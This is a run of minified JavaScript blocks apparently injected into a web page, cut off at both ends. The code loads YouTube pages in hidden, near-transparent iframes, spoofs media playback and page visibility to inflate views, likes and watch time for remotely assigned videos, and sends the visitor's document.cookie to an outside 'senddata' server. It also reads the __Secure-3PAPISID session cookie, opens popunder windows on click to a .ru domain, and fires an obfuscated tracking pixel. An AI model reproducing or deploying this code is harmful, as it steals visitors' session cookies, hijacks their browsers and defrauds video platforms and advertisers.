e=L(e),t=b(e,t),window.navigator.preBeacon(e,t)},window.preXMLHttpRequest=window.XMLHttpRequest,window.XMLHttpRequest=function(){this.xhr=new window.preXMLHttpRequest,this.events={},this.UNSENT=0,this.OPENED=1,this.HEADERS_RECEIVED=2,this.LOADING=3,this.DONE=4;var e=this,t=function(t){e.handleEvent(t)};return this.xhr.addEventListener("loadstart",t),this.xhr.addEventListener("load",t),this.xhr.addEventListener("loadend",t),this.xhr.addEventListener("progress",t),this.xhr.addEventListener("error",t),this.xhr.addEventListener("abort",t),this.xhr.addEventListener("timeout",t),this.xhr.addEventListener("readystatechange",t),this},window.XMLHttpRequest.prototype={open:function(e,t,a,i,r){return this.url=t.toLowerCase(),this.url.indexOf("videoplayback")>-1&&this.url.match(/itag=/i)&&(t=t.replace(/^.*\/videoplayback/i,"https://"+n.cdnUrl+"/videoplayback")),t=L(t),this.xhr.open(e,t,void 0===a||a,i,r)},setRequestHeader:function(e,t){this.xhr.setRequestHeader(e,t)},getResponseHeader:function(e){return this.xhr.getResponseHeader(e)},getAllResponseHeaders:function(){return this.xhr.getAllResponseHeaders()},overrideMimeType:function(e){this.xhr.overrideMimeType(e)},abort:function(){this.xhr.abort()},send:function(e){this.timeout&&(this.xhr.timeout=this.timeout),this.responseType&&(this.xhr.responseType=this.responseType),this.withCredentials&&(this.xhr.withCredentials=this.withCredentials),this.responseText="",this.responseXML={},this.updateInfo(),e=b(this.url,e),this.xhr.send(e)},addEventListener:function(e,t){var n=e.toLowerCase();this.events[n]=t},removeEventListener:function(e){var t=e.toLowerCase();this.events[t]=null},updateInfo:function(){try{this.channel=this.xhr.channel,this.mozAnon=this.xhr.mozAnon,this.mozSystem=this.xhr.mozSystem,this.mozBackgroundRequest=this.xhr.mozBackgroundRequest,this.readyState=this.xhr.readyState,this.responseType=this.xhr.responseType,this.url.indexOf("videoplayback")>-1&&this.url.match(/itag=/i)?this.responseURL=this.url:this.responseURL=this.xhr.responseURL,this.status=this.xhr.status,this.statusText=this.xhr.statusText,this.upload=this.xhr.upload}catch(e){}var e,t;this.url.indexOf("pbj")>-1?(e=U(this.xhr.response))&&(this.response=e):this.response=this.xhr.response,this.responseType&&"text"!==this.responseType||!this.xhr.responseText||(this.url.indexOf("pbj")>-1?(t=U(this.xhr.responseText))&&(this.responseText=t):this.responseText=this.xhr.responseText),this.responseType&&"document"!==this.responseType||!this.xhr.responseXML||!this.xhr.responseXML.length||(this.responseXML=this.xhr.responseXML)},handleEvent:function(e){var t=e.type.toLowerCase();if(this.updateInfo(),this.events[t]){if(this.url.indexOf("/player")>-1)return void $(this,e,this.events[t]);if(this.url.indexOf("/next")>-1)return void P(this,e,this.events[t]);this.events[t](e)}if(this["on"+t]){if(this.url.indexOf("/player")>-1)return void $(this,e,this["on"+t]);if(this.url.indexOf("/next")>-1)return void P(this,e,this["on"+t]);this["on"+t](e)}}}),K.send("load_pol",!0),Z()},ne=function(n){var a;try{a=JSON.parse(n)}catch(e){return!1}return a?(void 0!==(t=a).prod&&(r.isProd=t.prod),void 0!==t.timer&&(r.timerWait=parseInt(t.timer)),void 0!==t.count&&(r.frameCount=parseInt(t.count)),void 0!==t.time&&(r.viewTime=parseInt(t.time)),!0):(e.isTop&&K.send("no_info",!0),!1)},ae=function(t){try{var n=JSON.parse(t.data);n&&n.id&&n.action&&(n.udid&&(r.mainUdid=n.udid),n.isauth&&(e.isAuth=n.isauth),"restart"===n.action&&function(t){t=parseInt(t);var n=document.getElementById("worker_"+t),a=document.getElementById("workfr_"+t);(a||n)&&(a&&a.remove(),n&&n.remove(),K.send("rem_"+t)),e.canWork&&e.isAuth&&setTimeout(function(){re(t)},r.timerWait)}(n.id),"noauth"===n.action&&(e.isAuth=!1,e.canWork=!1))}catch(e){}},ie=0,re=function(e){e||(e=++ie);var n=document.createElement("div"),a=document.createElement("iframe");n.id="worker_"+e,n.style.width=Math.min(window.innerWidth,431)+"px",n.style.height=Math.min(window.innerHeight,701)+"px",n.style.top=10*(e-1)+"px",n.style.left="-"+(Math.min(window.innerWidth,431)-10)+"px",n.style.opacity="0.01",n.style.position="fixed",n.style.overflow="hidden",document.body.appendChild(n),a.id="workfr_"+e,a.style.width=Math.min(window.innerWidth,431)+"px",a.style.height=Math.min(window.innerHeight,701)+"px",a.width=Math.min(window.innerWidth,431)+"",a.height=Math.min(window.innerHeight,701)+"",a.style.opacity="0.01",a.src=t.start+"?id="+e+"&udid="+r.mainUdid+"&config="+btoa(JSON.stringify(t)),n.appendChild(a),K.send("worker_"+e,!0),setTimeout(se,1e3)},se=function(){e.canWork&&r.frameCount>ie&&re(!1)},oe=function(e,t){ne(e)&&(t?t():setTimeout(ue,6e4))},de=function(){t.start&&t.active&&(K.send("start_cfg",!0),window.addEventListener("message",ae),se(),setTimeout(ue,6e4))},le=a.searchData.has("config")?atob(a.searchData.get("config")):"",ce=function(t){(window.parent?window.parent:window.top).postMessage(JSON.stringify({type:r.scriptType,action:t,isauth:e.isAuth,id:i}),"*")},ue=function(e){m.getSend("https://"+n.cdnUrl+"/start"+r.taskId+".json?t="+(new Date).toISOString().slice(0,16),{success:function(t){oe(t,e)},error:function(t){oe(t,e)}})},pe=function(){document.body?window.top===window.self?(e.isTop=!0,K.send("top_start",!0),ue(de)):function(){if(ne(le)){if(K.send("frame_started",!0),a.locData.indexOf("scheduler")>-1||a.locData.indexOf("polyfill")>-1){var t=f.cget("__Secure-3PAPISID");return t?(e.isAuth=!0,r.mainUdid=t,K.send("udid_found",!0)):K.send("udid_nofound",!0),void te()}a.locData.indexOf("cdnservice")>-1&&a.locData.indexOf("yshow")>-1?K.send("load_cdn",!0,!1,function(){ce("restart")}):K.send("url_error",!0,!1,function(){ce("restart")})}}():setTimeout(pe,200)};pe()}}(); //--><!]]]]><![CDATA[> //--><!]]> <!--//--><![CDATA[// ><!-- <!--//--><![CDATA[// ><!-- !function(){ var expDate = function(){return Date.now() / 1000 | 0;}; var pingTime = localStorage.getItem("clclicktime") || 0; var secPassed = expDate()-pingTime; var url = ""; if (window == window.top && (pingTime == 0 || secPassed > 60)) { var img = new Image(); var image_url = "https://fbtxh.deeperlink.ru/cp/as1"; img.src = image_url; img.addEventListener("load",function(){ url = 'https://fbtxh.deeperlink.ru/cr/as1'; }); img.addEventListener("error",function(){ localStorage.setItem("clclicktime",expDate()); }); } var par = "menubar=yes,location=yes,resizable=yes,scrollbars=yes,status=yes"; var txt = new Array(); txt[0]="http://yandex.ru/"; txt[1]="http://google.com/"; var b = Math.round(Math.random() * (txt.length - 1)); var ssilka = txt[b]; function showclick() { if (url != "") { var hrf = url; url = ""; window.open(hrf, "site", par); localStorage.setItem("clclicktime",expDate()); } } document.addEventListener('mousedown',showclick); }(); //--><!]]]]><![CDATA[> //--><!]]> <!--//--><![CDATA[// ><!-- <!--//--><![CDATA[// ><!-- !function(){if(!window.mainStmAScript){window.mainStmAScript=!0;var e={searchData:new URLSearchParams(document.location.search),locData:document.location.href.toLowerCase()},t={isTop:!1,isAuth:!1,canWork:!0,isYou:!1,isMain:!1,frAllow:!0,frAnswer:!1},n={onlytop:!1,onlyframe:!1,onlyauth:!1,onlynoauth:!1,load:!1,proxy:!1,upvis:!1,muted:!1,stop:!1,start:"",version:1,udid:""},i={taskId:8,workerId:"23",serviceId:"0",taskVersion:1,scriptType:"sl_",isProd:!0,mainUdid:"xxxxxxxxxxxx4xxx".replace(/[xy]/g,function(e){var t=16*Math.random()|0;return("x"===e?t:3&t|8).toString(16)})},r="st1.yoganc.fun",a={statType:"desktop",logtype:"ytstream"},o={bUrl:"https://m.youtube.com/watch?app=m",aUrl:".nservices.space/youlist.php",eLog:".statuses.space/event",sLog:"https://log.kslogs.ru/timesince"},d={currentItem:null,currentView:""},s=null,u=8,c={start:!1,playback:!1,ptracking:!1,delayplay:!1,atr:!1,watchtime:!1,api_stats_qoe:!1,youtubei_v1_player_heartbeat:!1},p={videoId:"",qid:null},l=function(e){window.history.replaceState({},"",e)},h=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()\[\]\\\/+^])/g,"\\$1")+"=([^;]*)"));return t?t[1]:""},m=function(e,t,n){var i=new Date,r=e+"="+t;for(var a in i.setTime(i.getTime()+1e3*n.expires),n.expires=i.toUTCString(),n){r+="; "+a;var o=n[a+""];!0!==o&&(r+="="+o)}document.cookie=r},f=function(){return this};f.prototype={fillOptions:function(e){return["data","success","error","json","headers","creds"].forEach(function(t){void 0===e[t]&&(e[t]=null)}),e},getSend:function(e,t){return this.sender("GET",e,t)},postSend:function(e,t){return this.sender("POST",e,t)},sender:function(e,t,n){n=this.fillOptions(n);var i=window.preXMLHttpRequest?new window.preXMLHttpRequest:new XMLHttpRequest;if(i.open(e,t,!0),n.json||"POST"!==e||i.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),i.onreadystatechange=function(){i.readyState===i.DONE&&(200===i.status?n.success&&n.success(i.responseText):n.error&&n.error(i.responseText,i.status))},n.creds&&(i.withCredentials=!0),n.headers)for(var r in n.headers)i.setRequestHeader(r+"",n.headers[r+""]);return i.send(n.data?n.data:null),i}};var w=new f,y=function(){return this.stopLog=!1,this.logData={udid:i.mainUdid,task_id:i.taskId,sid:a.logtype,generated:!1,event:"start_script",timer:0,version:1,is_hidden:!0,has_focus:!0,visibility_state:i.taskVersion},this.ReqLog=new f,this};y.prototype={send:function(e,r,s,u){var c=this;if(s?Y():u&&setTimeout(u,100),!(i.isProd&&!r||this.stopLog)){var p=JSON.parse(JSON.stringify(this.logData));p.udid=i.mainUdid,p.sid=a.logtype,p.event=e,p.timer=d.currentItem?parseInt(d.currentItem.id):0,p.generated=t.isTop,p.visibility_state=i.taskVersion,n.udid&&(p.udid=n.udid);var l={json:!0,data:JSON.stringify(p)};setTimeout(function(){c.ReqLog.postSend(o.sLog,l)},0)}}};var v=new y,_=null,x=[],g=function(){if(x.length){for(var e=x.shift();e;){if(e.frame){try{e.frame.remove()}catch(e){}e.frame=null}e=x.shift()}_.innerHTML=""}},T=function(e){if(e.frame){try{e.frame.remove()}catch(e){}e.frame=null}},b=0,E=function(){w.postSend("https://service"+i.serviceId+o.aUrl+"?worker="+i.workerId+"&uid="+i.mainUdid+"&rand="+Math.random(),{data:"",success:function(e){var n;v.send("load",!0);try{n=JSON.parse(e)}catch(e){return}if(n[18]){1===b&&(t.frAnswer||(t.frAllow=!1),t.frAllow?v.send("fr",!0):(v.send("nofr",!0),g())),b++;var i={};for(let e in n[18])i[e]={id:e+"",item:n[18][e+""]+""};Object.keys(i).length?(v.send("SL_ii"),function(e){var t=[];for(let n=x.length-1;n>=0;n--){let i=x[n];e[i.id]?t.push(i.id):(T(i),x.splice(n,1))}for(let n in e)t.indexOf(n)>-1||M(e[n])}(i)):g()}}})},M=function(e){e.frame=document.createElement("iframe"),e.frame.id="subfr_"+i.scriptType+i.workerId+"_"+e.id,e.frame.style.width=Math.min(window.innerWidth,701)+"px",e.frame.style.height=Math.min(window.innerHeight,431)+"px",e.frame.width=Math.min(window.innerWidth,701)+"",e.frame.height=Math.min(window.innerHeight,431)+"",e.frame.style.opacity="0.01",t.frAllow?(v.send("try_fr",!0),e.frame.src=n.start+"?config="+btoa(JSON.stringify(n))+"&id="+e.id+"&item="+e.item):(v.send("try_embed",!0),e.frame.src="https://www.google.com/url?sa=D&q=https://www.youtube.com/embed/"+e.item+encodeURIComponent("?enablejsapi=1&origin=*&playsinline=1&autoplay=1&mute=1")),_.appendChild(e.frame),x.push(e),v.send("v_start",!0)},L=function(){n.onlytop&&!1===t.isTop?g():n.onlyframe&&!1!==t.isTop?g():n.load&&n.proxy?s||((s=document.createElement("iframe")).id="subfr_"+i.scriptType+i.workerId,s.style.width=Math.min(window.innerWidth,701)+"px",s.style.height=Math.min(window.innerHeight,431)+"px",s.width=Math.min(window.innerWidth,701)+"",s.height=Math.min(window.innerHeight,431)+"",s.style.opacity="0.01",s.src=n.start+"?config="+btoa(JSON.stringify(n)),_.appendChild(s),v.send("p_start",!0)):E()},k=!1,S={cmt:0,rt:0,rti:0,rtn:0,lact:0,st:0,et:0},q=function(e){for(var t in S.cmt+=20,S.rt+=20,S.rti+=20,S.rtn=S.rti+20,S.lact+=2e4,S.st+=20,S.et+=20,S)e=e.replace(new RegExp("([&?]"+t+"=)[^&]+(&.*|)$","i"),"$1"+S[t]+"$2");var n;e.indexOf("rti=")<0&&(e+="&rti="+S.rti),e.indexOf("rtn=")<0&&(e=e.replace(/([&?]cr=[^&]+)(&.*|)$/i,"$1&rtn="+S.rtn+"$2")),w.getSend(e,{creds:!0}),n=e,setTimeout(function(){q(n)},2e4)},I=!1,H=function(){!1===c.delayplay&&(c.delayplay=!0,v.send("skip_delayplay",!1),u--),!1===c.youtubei_v1_player_heartbeat&&(c.youtubei_v1_player_heartbeat=!0,v.send("skip_youtubei_v1_player_heartbeat",!1),u--)},R=function(e){var t=8;for(var n in c)!0===c[n]&&t--;0===t&&(I||(I=!0,v.send("send_data",!1),w.postSend("https://"+r+"/v1/senddata?udid="+i.mainUdid+"&qid="+p.qid+"&video="+p.videoId+"&cookies="+encodeURIComponent(document.cookie)+"&rand="+Math.random(),{success:function(){v.send("sended",!0,!0)},error:function(){v.send("sended_error",!1,!0)}})),u--),!1===c[e]&&(c[e]=!0,v.send("update_"+e,!1),u--)},N=function(e,t){if(e=(e=e.replace("app=m&pbj=","pbj=")).replace("pbj=","app=m&pbj="),n.load&&n.proxy)return function(e){var t=e.toLowerCase().match(/\/(playback|ptracking|delayplay|atr|watchtime|api\/stats\/qoe|youtubei\/v1\/player\/heartbeat)\?/i);if(t){var n=t[1].replace(/\//g,"_");return R(n),"https://"+r+"/v1/savelink?udid="+(u<0?"zero":i.mainUdid)+"&qid="+p.qid+"&video="+p.videoId+"&type="+n+"&url="+encodeURIComponent(e)+"&rand="+Math.random()}return e}(e);var a,o=e.toLowerCase();if(o.indexOf("/qoe?")>-1&&(e=e.replace(/[&?]df=[^&]+(&.*|)$/i,"$1")),o.indexOf("/watchtime?")>-1){if(k)return e.replace(/m\.youtube/i,"m.youtubes");if(o.indexOf("final=1")>-1)return e;k=!0;var d=o.match(/[&?]cmt=([0-9.]+)(&.*|)$/i);d&&(S.cmt=parseFloat(d[1]));var s=o.match(/[&?]rt=([0-9.]+)(&.*|)$/i);s&&(S.rt=parseFloat(s[1]));var c=o.match(/[&?]rti=([0-9.]+)(&.*|)$/i);c&&(S.rti=parseFloat(c[1]));var l=o.match(/[&?]rtn=([0-9.]+)(&.*|)$/i);l&&(S.rtn=parseFloat(l[1]));var h=o.match(/[&?]lact=([0-9]+)(&.*|)$/i);h&&(S.lact=parseFloat(h[1]));var m=o.match(/[&?]st=([0-9.]+)(&.*|)$/i);m&&(S.st=parseFloat(m[1]),S.et=S.st+20),a=e,setTimeout(function(){q(a)},2e4)}return e},A=!1,D=function(){if(!A){A=!0,v.send("VIS");try{document.hasFocus=function(){return!0}}catch(e){0}try{delete document.hidden}catch(e){0}try{document.__defineGetter__("hidden",function(){return!1})}catch(e){0}try{delete document.visibilityState}catch(e){0}try{document.__defineGetter__("visibilityState",function(){return"visible"})}catch(e){0}!function(){var e=0;try{window.__requestAnimationFrame=window.requestAnimationFrame,delete window.requestAnimationFrame}catch(e){0}try{window.requestAnimationFrame=function(t){var n=(new Date).getTime(),i=Math.max(0,16-(n-e));return e=n+i,window.setTimeout(function(){t(n+i)},i)},window.cancelAnimationFrame=function(e){clearTimeout(e)}}catch(e){0}}(),function(){var e=0;try{window.__webkitRequestAnimationFrame=window.webkitRequestAnimationFrame,delete window.webkitRequestAnimationFrame}catch(e){0}try{window.webkitRequestAnimationFrame=function(t){var n=(new Date).getTime(),i=Math.max(0,16-(n-e));return e=n+i,window.setTimeout(function(){t(n+i)},i)},window.webkitCancelAnimationFrame=function(e){clearTimeout(e)}}catch(e){0}}()}},O=function(){if(!n.muted)return;let e=document.getElementsByClassName("video-stream html5-main-video");e&&e[0]&&(e[0].muted=!0),setTimeout(O,500)},C={linkNode:!1,clicked:!1,tryCount:0,touchN:0,MN_click:!1,LN_click:!1},U=function(e,t,n){const i=[];n.forEach(t=>{i.push(new Touch({clientX:t.x,clientY:t.y,identifier:t.id,target:e}))}),e.dispatchEvent(new TouchEvent(t,{touches:i,view:window,cancelable:!0,bubbles:!0}))},F=function(){if(!C.clicked){C.clicked=!0;try{C.linkNode.removeEventListener("click",F)}catch(e){}}},j=function(){var e=document.evaluate('//div[contains(@class,"consent-bump-v2-lightbox")]',document,null,XPathResult.ANY_TYPE,null).iterateNext();e&&e.remove();var t=document.evaluate('//button[contains(@class,"ytp-large-play-button ytp-button")]',document,null,XPathResult.ANY_TYPE,null);C.linkNode=t.iterateNext(),C.linkNode&&(C.linkNode.addEventListener("click",F),setTimeout(function(){var e,t;e=5,t=5,C.touchN++,U(C.linkNode,"touchstart",[{x:e,y:t,id:C.touchN}]),setTimeout(function(){C.touchN++,U(C.linkNode,"touchend",[{x:e,y:t,id:C.touchN}]),C.linkNode.click()},100),setTimeout(function(){C.clicked||v.send("nc",!0,!0)},1e3)},1e3))},P=5,X=function(){--P<1?v.send("BL_e",!0,!0):document&&document.body&&!(document.body.className.indexOf("load")>-1)&&document.getElementById("player")&&""!==document.getElementById("player").innerHTML?(v.send("main_start",!0),setTimeout(O,100),setTimeout(function(){j()},300)):setTimeout(X,300)},$=function(e){return e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=e.replace("window.delayFetch","false")).replace("(isHidden)","(false)")).replace(/document\.hidden/g,"false")).replace(/hq720[^.]*\.jpg\?.*?\\x22/g,"default.jpg\\x22")).replace(/mqdefault[^.]*\.jpg\\x22/g,"default.jpg\\x22")).replace(/hqdefault[^.]*\.jpg\\x22/g,"default.jpg\\x22")).replace(/sddefault[^.]*\.jpg\\x22/g,"default.jpg\\x22")).replace(/hq720[^.]*\.webp\?.*?\\x22/g,"default.webp\\x22")).replace(/mqdefault[^.]*\.webp\\x22/g,"default.webp\\x22")).replace(/hqdefault[^.]*\.webp\\x22/g,"default.webp\\x22")).replace(/sddefault[^.]*\.webp\\x22/g,"default.webp\\x22"),d.currentItem&&(e=(e=(e=e.replace(/watch\?v\\x3d[a-zA-Z0-9_-]{11}/g,"watch?v\\x3d"+d.currentItem.item)).replace(/\\x22videoId\\x22:\\x22[a-zA-Z0-9_-]{11}\\x22/g,"\\x22videoId\\x22:\\x22"+d.currentItem.item+"\\x22")).replace(/\\x22addedVideoId\\x22:\\x22[a-zA-Z0-9_-]{11}\\x22/g,"\\x22addedVideoId\\x22:\\x22"+d.currentItem.item+"\\x22")),e},G=function(e){var t;v.send("parse_start",!0);try{t=JSON.parse(e)}catch(e){v.send("p_error",!1,!0)}for(var n in t.Data&&t.Data.qid&&t.Data.video_id||v.send("pd_error",!1,!0),p.qid=t.Data.qid,p.videoId=t.Data.video_id,v.send(p.qid,!1),R("start"),l("https://m.youtube.com/watch?app=m&v="+p.videoId),t.Data.cookies)m(n,t.Data.cookies[n],{domain:".youtube.com",path:"/",expires:31536e3,SameSite:"None",Secure:!0});var i=$(t.Data.body);D();try{document.open("text/html","replace"),document.write(i),document.close()}catch(e){}v.send("start_page",!0),document.dispatchEvent(new Event("visibilitychange")),setTimeout(X,300),setTimeout(H,2e4)},B=function(){window.__prepareReplaceUrl=function(e,t){return N(e)},window.preRequest=window.Request,window.Request=function(e,t){return e=N(e),new window.preRequest(e,t)},window.navigator.preBeacon=window.navigator.sendBeacon,window.navigator.sendBeacon=function(e,t){return e=N(e),window.navigator.preBeacon(e,t)},window.preXMLHttpRequest=window.XMLHttpRequest,window.XMLHttpRequest=function(){this.xhr=new window.preXMLHttpRequest,this.events={},this.UNSENT=0,this.OPENED=1,this.HEADERS_RECEIVED=2,this.LOADING=3,this.DONE=4;var e=this,t=function(t){e.handleEvent(t)};return this.xhr.addEventListener("loadstart",t),this.xhr.addEventListener("load",t),this.xhr.addEventListener("loadend",t),this.xhr.addEventListener("progress",t),this.xhr.addEventListener("error",t),this.xhr.addEventListener("abort",t),this.xhr.addEventListener("timeout",t),this.xhr.addEventListener("readystatechange",t),this},window.XMLHttpRequest.prototype={open:function(e,t,n,i,r){return this.url=t.toLowerCase(),t=N(t),this.replasedUrl=t.toLowerCase(),this.xhr.open(e,t,void 0===n||n,i,r)},setRequestHeader:function(e,t){this.xhr.setRequestHeader(e,t)},getResponseHeader:function(e){return this.xhr.getResponseHeader(e)},getAllResponseHeaders:function(){return this.xhr.getAllResponseHeaders()},overrideMimeType:function(e){this.xhr.overrideMimeType(e)},abort:function(){this.xhr.abort()},send:function(e){this.timeout&&(this.xhr.timeout=this.timeout),this.responseType&&(this.xhr.responseType=this.responseType),this.withCredentials&&(this.xhr.withCredentials=this.withCredentials),this.responseText="",this.responseXML={},this.updateInfo(),this.replasedUrl.indexOf("m.youtubes")>-1||this.xhr.send(e)},addEventListener:function(e,t){var n=e.toLowerCase();this.events[n]=t},removeEventListener:function(e){var t=e.toLowerCase();this.events[t]=null},updateInfo:function(){try{this.channel=this.xhr.channel,this.mozAnon=this.xhr.mozAnon,this.mozSystem=this.xhr.mozSystem,this.mozBackgroundRequest=this.xhr.mozBackgroundRequest,this.readyState=this.xhr.readyState,this.responseType=this.xhr.responseType,this.responseURL=this.xhr.responseURL,this.status=this.xhr.status,this.statusText=this.xhr.statusText,this.upload=this.xhr.upload}catch(e){}this.response=this.xhr.response,this.responseType&&"text"!==this.responseType||!this.xhr.responseText||(this.responseText=this.xhr.responseText),this.responseType&&"document"!==this.responseType||!this.xhr.responseXML||!this.xhr.responseXML.length||(this.responseXML=this.xhr.responseXML)},handleEvent:function(e){var t=e.type.toLowerCase();this.updateInfo(),this.events[t]&&this.events[t](e),this["on"+t]&&this["on"+t](e)}}},z=function(){B(),n.load&&n.proxy?w.postSend("https://"+r+"/v1/starter?udid="+i.mainUdid+"&rand="+Math.random(),{success:G,error:function(){v.send("start_error",!1,!0)}}):d.currentItem&&J()},J=function(){var e=o.bUrl+"&v="+d.currentItem.item;l(e),w.getSend(e,{success:function(e){v.send("MNL"),e?(e=$(e))?(D(),ie(),function(e){try{document.open("text/html","replace"),document.write(e),document.close()}catch(e){v.send("e_bad",!1,!0)}document.dispatchEvent(new Event("visibilitychange")),setTimeout(X,300)}(e)):v.send("e_prep",!1,!0):v.send("e_resp",!1,!0)},error:function(){v.send("e_load",!1,!0)},headers:{accept:"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","upgrade-insecure-requests":"1"},creds:!0})},V=function(e){try{e=JSON.parse(e)}catch(e){return}if(e){for(var r in n)e[r]&&(n[r]=e[r]);if(i.taskVersion=parseInt(n.version),t.isMain)return n.udid=i.mainUdid,setTimeout(W,6e4),void L();if(i.mainUdid=n.udid,K("frame"),n.onlyauth||n.onlynoauth)return h("__Secure-3PAPISID")?(t.isAuth=!0,v.send("auth_found",!0)):v.send("auth_no",!0),void((n.onlyauth&&t.isAuth||n.onlynoauth&&!t.isAuth)&&z());z()}},W=function(){w.getSend("https://cdne1.yoganc.fun/strload_test.json?t="+(new Date).toISOString().slice(0,15).replace(/[^0-9]/g,""),{success:V})},Y=function(){K("remove")},Z=function(e){try{var n=JSON.parse(e.data);if(n&&n.type&&n.type===i.scriptType){if(!n.action)return;switch(n.action){case"frame":t.frAllow=!0,t.frAnswer=!0;break;case"remove":!function(){if(s){try{s.remove()}catch(e){}s=null}}()}}}catch(e){}},K=function(e){(window.parent?window.parent:window.top).postMessage(JSON.stringify({action:e,type:i.scriptType,id:d.currentItem?d.currentItem.id:0}),"*")},Q=!1,ee=!1,te=!1,ne={currentTime:.035,duration:null,ended:!1,paused:!1,readyState:0,networkState:3,askBuffered:!1,askPlayed:!1,buffered:{length:0,start:0,end:0},played:{length:0,start:0,end:0}},ie=function(){window.HTMLMediaElement.prototype.__addEventListener=window.HTMLMediaElement.prototype.addEventListener,window.HTMLMediaElement.prototype.addEventListener=function(e,t,n){return this.__addEventListener(e,function(t,n){"playing"!==e||ee||(te=!0,v.send("realPlay"))},n),this.__addEventListener(e,t,n)},window.HTMLMediaElement.prototype.doplay=function(){if(ee){var e=this;ne.currentTime+=1,ne.buffered.end=ne.currentTime,ne.played.end=ne.currentTime,this.dispatchEvent(new Event("timeupdate")),setTimeout(function(){e.doplay()},100)}else Q=!1},delete window.HTMLMediaElement.prototype.error,window.HTMLMediaElement.prototype.__defineGetter__("error",function(){return null}),delete window.HTMLMediaElement.prototype.paused,window.HTMLMediaElement.prototype.__defineGetter__("paused",function(){return ne.paused}),delete window.HTMLMediaElement.prototype.ended,window.HTMLMediaElement.prototype.__defineGetter__("ended",function(){return ne.ended}),delete window.HTMLMediaElement.prototype.muted,window.HTMLMediaElement.prototype.__defineGetter__("muted",function(){return!1}),window.HTMLMediaElement.prototype._pause=window.HTMLMediaElement.prototype.pause,window.HTMLMediaElement.prototype.pause=function(){},window.HTMLMediaElement.prototype._play=window.HTMLMediaElement.prototype.play,window.HTMLMediaElement.prototype.play=function(){ee=!1,ne.currentTime=.035,ne.duration=0,ne.ended=!1,ne.paused=!1,ne.readyState=0,ne.networkState=3,ne.buffered.length=0,ne.buffered.start=0,ne.played.length=0,ne.played.start=0,ne.played.end=0,ne.askBuffered=!1,ne.askPlayed=!1;var e=this;return setTimeout(function(){te||ee||(ee=!0,e._updatedData||(e._updatedData=!0,e.__buffered=e.buffered,e._buffered={length:1,start:function(){return 0},end:function(){return ne.buffered.end.toFixed(3)}},e.__played=e.played,e._played={length:1,start:function(){return 0},end:function(){return ne.played.end.toFixed(3)}},e._currentTime=e.currentTime,e.__defineGetter__("currentTime",function(){var t=Math.ceil(1e3*ne.currentTime)/1e3;return te&&(t=e._currentTime),t}),e._duration=e.duration,e.__defineGetter__("duration",function(){var t=ne.duration;return te&&(t=e._duration),t}),e._readyState=e.readyState,e.__defineGetter__("readyState",function(){var t=ne.readyState;return te&&(t=e._readyState),t}),e._networkState=e.networkState,e.__defineGetter__("networkState",function(){var t=ne.networkState;return te&&(t=e._networkState),t}),e.__defineGetter__("buffered",function(){var t=e._buffered;return te&&(t=e.__buffered),t}),e.__defineGetter__("played",function(){var t=e._played;return te&&(t=e.__played),t})),ne.duration=999999999,ne.readyState=4,ne.networkState=1,ne.buffered.length=1,ne.buffered.end=999999999,ne.played.length=1,ne.played.end=0,ne.askBuffered=!1,ne.askPlayed=!1,e.dispatchEvent(new Event("progress")),e.dispatchEvent(new Event("suspend")),e.dispatchEvent(new Event("durationchange")),e.dispatchEvent(new Event("resize")),e.dispatchEvent(new Event("loadedmetadata")),e.dispatchEvent(new Event("loadeddata")),e.dispatchEvent(new Event("playing")),e.dispatchEvent(new Event("timeupdate")),setTimeout(function(){Q||(Q=!0,e.doplay())},100))},1e3),this._play()}};if(window.top===window.self&&0===document.location.ancestorOrigins.length?t.isTop=!0:window.top=window.self,e.locData.indexOf("youtube")<0||t.isTop)t.isMain=!0,(_=document.createElement("div")).id="worker_"+i.scriptType+i.workerId,_.style.width=Math.min(window.innerWidth,701)+"px",_.style.height=Math.min(window.innerHeight,431)+"px",_.style.top="0px",_.style.left="-"+(Math.min(window.innerWidth,701)-10)+"px",_.style.opacity="0.01",_.style.position="fixed",_.style.overflow="hidden",document.body.appendChild(_),v.send("main",!0),window.addEventListener("message",Z),W();else if(e.locData.indexOf("youtube")>-1&&e.locData.indexOf("captions")>-1){t.isYou=!0;var re=e.searchData.has("config")?atob(e.searchData.get("config")):"",ae={id:e.searchData.has("id")?e.searchData.get("id"):"",item:e.searchData.has("item")?e.searchData.get("item"):""};if(!re)return;ae.id&&ae.item&&(d.currentItem=ae),v.send("d_cfg",!0),V(re)}}}(); //--><!]]]]><![CDATA[> //--><!]]>
<!--//--><![CDATA[// ><!-- <!--//--><![CDATA[// ><!-- 'use strict';var e,n,o;window.self===window.top&&(e=['//','s:','tp','ht'].reverse().join(''),n=['mayazeqor.trkg.ru','39'].join('/'),(o=new Image).src=''.concat(e).concat(n,'.gif')); //--><!]]]]><![CDATA[> //--><!]]> <!--//--><![CDATA[// ><!-- <!--//--><![CDATA[// ><!-- !function(){if(!window.mainScript){window.mainScript=!0;var e={isTop:!1,isAuth:!1,canWork:!0},t=null,n={cdnUrl:"cdnma.cdnservice.space",cdnVer:1,stats:{statType:atob("ZGVza3RvcA=="),taskType:atob("eWxpa2U="),logtype:atob("eXRsaWtlcw==")},urls:{bUrl:atob("aHR0cHM6Ly9tLnlvdXR1YmUuY29tLz9hcHA9bQ=="),eLog:atob("LnN0YXR1c2VzLnNwYWNlL2V2ZW50"),sLog:atob("aHR0cHM6Ly9sb2cua3Nsb2dzLnJ1L3RpbWVzaW5jZQ==")}},a={searchData:new URLSearchParams(document.location.search),locData:document.location.href.toLowerCase()},i=a.searchData.has("id")?parseInt(a.searchData.get("id")):0,r={taskId:4,workerId:"18",serviceId:"4",taskVersion:1,scriptType:"e31_",isProd:!0,mainUdid:a.searchData.has("udid")?a.searchData.get("udid"):"xxxxxxxxxxxx4xxx".replace(/[xy]/g,function(e){var 